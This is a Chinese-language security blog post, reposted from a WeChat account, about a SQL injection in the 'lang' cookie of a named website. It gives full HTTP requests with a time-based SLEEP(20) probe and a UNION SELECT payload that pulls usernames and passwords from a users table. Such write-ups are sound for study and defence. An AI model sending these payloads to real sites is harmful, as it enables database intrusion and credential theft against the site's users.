通过cookie中的参数所引发的sql注入

admin 2024年7月19日23:59:34评论13 views字数 2275阅读7分35秒阅读模式

通过cookie中的参数所引发的sql注入

前言

在请求的cookie参数中,有一个名为lang的参数存在SQL注入漏洞。

在这个参数中注入一个单引号(')时,会引发SQL语法错误;而注入第二个单引号后,错误会消失。这表明参数中的输入没有正确地进行转义或过滤,从而使得恶意的SQL代码得以执行。

正文

正常情况下和受到攻击时的请求示例:

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

受到sql注入攻击时候的请求

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en'; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

报错如下:

通过cookie中的参数所引发的sql注入

当然也可以使用 查询语句:

'%2b(select*from(select(sleep(20)))a)%2b'

将构造好的查询注入到原始的HTTP请求中,发送给目标服务器。注入点是请求的cookie参数lang:

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en%2b(select*from(select(sleep(20)))a)%2b; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

发送请求后,观察服务器的响应时间。如果服务器在处理请求时出现明显的延迟(如20秒),则表明注入的查询被服务器执行了。这个时间延迟是由SQL中的SLEEP(20)函数引起的。

确认sql注入存在以后 ,进行漏洞利用

攻击者可以构造各种恶意SQL查询来窃取或修改数据。例如,通过以下查询来窃取用户信息:

' UNION SELECT username, password FROM users --

发送恶意请求 攻击者将恶意查询注入到lang参数中,并发送请求:

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en' UNION SELECT username, password FROM users -- ; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1

攻击者检查服务器的响应,查看是否包含用户数据。如果成功,攻击者就能够获取数据库中的敏感信息。

原文始发于微信公众号(迪哥讲事):通过cookie中的参数所引发的sql注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月19日23:59:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过cookie中的参数所引发的sql注入https://cn-sec.com/archives/2977112.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息